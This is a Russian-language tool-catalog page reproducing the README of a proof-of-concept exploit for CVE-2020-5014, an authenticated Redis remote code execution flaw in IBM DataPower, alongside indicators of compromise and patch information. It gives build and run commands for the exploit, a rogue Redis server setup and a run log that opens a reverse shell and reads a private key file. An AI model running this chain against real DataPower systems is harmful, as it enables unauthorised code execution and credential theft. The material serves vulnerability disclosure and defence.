Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/copethomas/datapower-redis-rce-exploit
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеRed TeamingИнструмент Удаленного Доступа
GitHubcopethomas/datapower-redis-rce-exploit

datapower-redis-rce-exploit

POC для эксплойта IBM Datapower Authenticated Redis RCE, злоупотребляющий функцией Test Message (CVE-2020-5014)

РепозиторийСайт
2214 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

datapower-redis-rce-exploit (CVE-2020-5014)

POC для эксплойта IBM DataPower Authenticated Redis RCE, злоупотребляющего функцией «Тестовое сообщение».

poc_demo

Полное объяснение и демонстрация на YouTube

Статья в блоге на tomcope.com

Объяснение

Используя функцию DataPower «Отправить тестовое сообщение», доступную через аутентифицированную сессию в WebGUI DataPower, можно выполнить SSRF-атаку на внутренний Redis-сервер DataPower. Внутренний Redis-сервер защищён паролем, но, судя по всему, использует жёстко заданный пароль. Это можно объединить с уже существующей уязвимостью Redis RCE для выполнения произвольного кода от имени пользователя drouter в базовой операционной системе Linux DataPower.

Быстрый старт

  1. Склонируйте этот репозиторий
  2. Скомпилируйте модуль:
    • cd RedisModulesSDK/dpredisshell/
    • make
  • Скомпилируйте код на Go:
    • go build
  • Проверьте флаги:
    • ./datapower-redis-rce-exploit -h
  • Запустите эксплойт:
    • ./datapower-redis-rce-exploit -dpip 1.2.3.4 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd xxx -fakeredisip 5.6.7.8
  • Пример

    Ниже приведён проработанный пример запуска DataPower через Docker и эксплойта локально через localhost:

    1. docker run -it -e DATAPOWER_ACCEPT_LICENSE=true -e DATAPOWER_INTERACTIVE=true -e DATAPOWER_WORKER_THREADS=4 --network='host' ibmcom/datapower:10.0.1.1
    2. Войдите в DataPower с именем пользователя admin и паролем admin
    3. Настройте через WebGUI:
    root@kitploit:~
    idg# config
    Global mode
    idg(config)# web-mgmt
    Modify Web Management Service configuration
    
    idg(config web-mgmt)# admin-state enabled
    idg(config web-mgmt)# exit
    idg(config)# write mem
    Overwrite previously saved configuration? Yes/No [y/n]: y
    Configuration saved successfully.
    idg(config)# exit
    idg# 
    
    1. Убедитесь, что WebUI работает:
    root@kitploit:~
    idg# show web-mgmt
    
    web-mgmt [up] 
    --------
     admin-state enabled 
     ip-address 0.0.0.0 
     port 9090 
     save-config-overwrite on 
     idle-timeout 600 Seconds
     acl web-mgmt  [up]
     ssl-config-type server 
     enable-sts on 
    
    idg# 
    
    1. Откройте новое окно терминала
    2. Склонируйте этот репозиторий:
      • git clone https://github.com/copethomas/datapower-redis-rce-exploit
    3. Скомпилируйте модуль:
      • cd RedisModulesSDK/dpredisshell/
      • make
    4. Скомпилируйте код на Go:
      • cd ../../
      • go build
    5. Загрузите пароль внутреннего Redis в вашу оболочку. (Прочитайте Объяснение для подробностей)
    root@kitploit:~
    $ read DPREDISPASSWD
    apples
    $ echo $DPREDISPASSWD
    apples
    
    1. Запустите эксплойт:
    root@kitploit:~
    $ ./datapower-redis-rce-exploit -dpip 127.0.0.1 -dpport 9090 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd $DPREDISPASSWD -dpredisport 16379 -dpwebguipassword "admin" -dpwebguiuser "admin" -fakeredisip 127.0.0.1 -fakeredisport 8888
    Main      - 2020/10/18 23:34:29 datapower-redis-rce-exploit - Created by Thomas Cope
    Main      - 2020/10/18 23:34:29 Starting Rogue Redis Server...
    Main      - 2020/10/18 23:34:29 Attempting to Login to Datapower...
    FakeRedis - 2020/10/18 23:34:29 Starting Fake Redis Server on 127.0.0.1:8888
    FakeRedis - 2020/10/18 23:34:29 Online and Ready!
    Main      - 2020/10/18 23:34:29 Datapower Credentials Valid!
    Main      - 2020/10/18 23:34:29 Datapower Login Token = JlkIp5wAvuQfSh5+cY49BovA.5
    Main      - 2020/10/18 23:34:29 Exchanging Login token for auth cookie...
    Main      - 2020/10/18 23:34:29 Got login Cookie OK! - [ibmwdp=1wBXDLzY9XdTNz4aD5+JQspc.5; Path=/; HttpOnly; Secure]+
    Main      - 2020/10/18 23:34:29 Datapower Login Complete!
    Main      - 2020/10/18 23:34:29 Attempting Redis exploit via Datapower 'Test Connection' ...
    Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
    FakeRedis - 2020/10/18 23:34:29 Accepting connection...
    FakeRedis - 2020/10/18 23:34:29 Accepted Connection OK!
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' Finished OK
    Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' sent OK, waiting for redis connection...
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
    FakeRedis - 2020/10/18 23:34:29 Uploading module...
    FakeRedis - 2020/10/18 23:34:29 Upload Complete!
    Main      - 2020/10/18 23:34:29 Payload has been delivered to Datapower internal redis!
    Main      - 2020/10/18 23:34:29 Performing clean up...
    Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
    FakeRedis - 2020/10/18 23:34:29 Error reading data from network connection: read tcp 127.0.0.1:8888->127.0.0.1:44207: read: connection reset by peer - (This is expected)
    FakeRedis - 2020/10/18 23:34:29 Connection Closed
    Main      - 2020/10/18 23:34:30 Datapower 'Test Connection' Finished OK
    Main      - 2020/10/18 23:34:30 Requesting Reverse Shell via Datapower 'Test Connection' ...
    Main      - 2020/10/18 23:34:30 Waiting for Reverse Shell...
    Main      - 2020/10/18 23:34:30 Performing Datapower 'Test Connection'...
    FakeRedis - 2020/10/18 23:34:30 Accepting connection...
    Main      - 2020/10/18 23:34:30 Got Reverse Shell!
    Main      - 2020/10/18 23:34:30 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    id
    uid=1000(drouter) gid=1000(drouter) groups=1000(drouter)
    ps -ef
    UID          PID    PPID  C STIME TTY          TIME CMD
    drouter        1       0  6 22:00 pts/0    00:02:15 /opt/ibm/datapower/root/drouter
    drouter       24       1  0 22:00 pts/0    00:00:06 QuotaEnforcement unix:/opt/ibm/datapower/drouter/ramdisk2/sidecar-QuotaEnforcement-0x7f4f38c6e2c8 QuotaEnforcement
    drouter       27      24  0 22:00 pts/0    00:00:05 /opt/ibm/datapower/root/dp-redis-server 127.0.0.1:16379
    drouter       28      24  0 22:00 pts/0    00:00:08 /opt/ibm/datapower/root/dp-redis-sentinel 127.0.0.1:26379 [sentinel]
    drouter       40       1  0 22:00 pts/0    00:00:05 dpmon -F dpmon -T -s 1 -c 900 -U /opt/ibm/datapower/drouter/temporary/dpmon/ -m /opt/ibm/datapower/drouter/temporary/dpmon/ -i 8 -M 31457280 -Z UTC -B 0
    drouter       61      27  0 22:34 pts/0    00:00:00 [sh]
    drouter       63      61  0 22:34 pts/0    00:00:00 
    find / -name webgui-privkey.pem 2>/dev/null
    /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
    head -2 /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
    -----BEGIN PRIVATE KEY-----
    MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDYFBod9TmWZLKT
    

    IOCs (Индикаторы компрометации)

    Во время эксплуатации DataPower будет регистрировать несколько ошибок url-open с внутренним URL Redis. Это происходит из-за того, что Redis не отвечает в формате XML, который ожидает DataPower.

    root@kitploit:~
    18:22:55	network	error	130	request	  	0x80e00040	xmlfirewall (map): url-open: Remote error on url 'http://127.0.0.1:16379/'
    

    Исправление / Патч

    Исправлено в версиях 10.0.1.2 и 2018.4.1.15.

    • https://www.ibm.com/support/pages/node/6426789
    • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5014

    Ссылки и благодарности

    • https://github.com/n0b0dyCN/redis-rogue-server — за Python-версию этого эксплойта и модуль Redis exp.c
    • https://github.com/RicterZ/RedisModules-ExecuteCommand — за оригинальный модуль Redis
    • https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf — за открытие уязвимости Redis RCE

    Первоначальное открытие сделано мной (Томасом Коупом) 21 октября 2020 года — сообщено через Hackerone в IBM.

    Скачать инструмент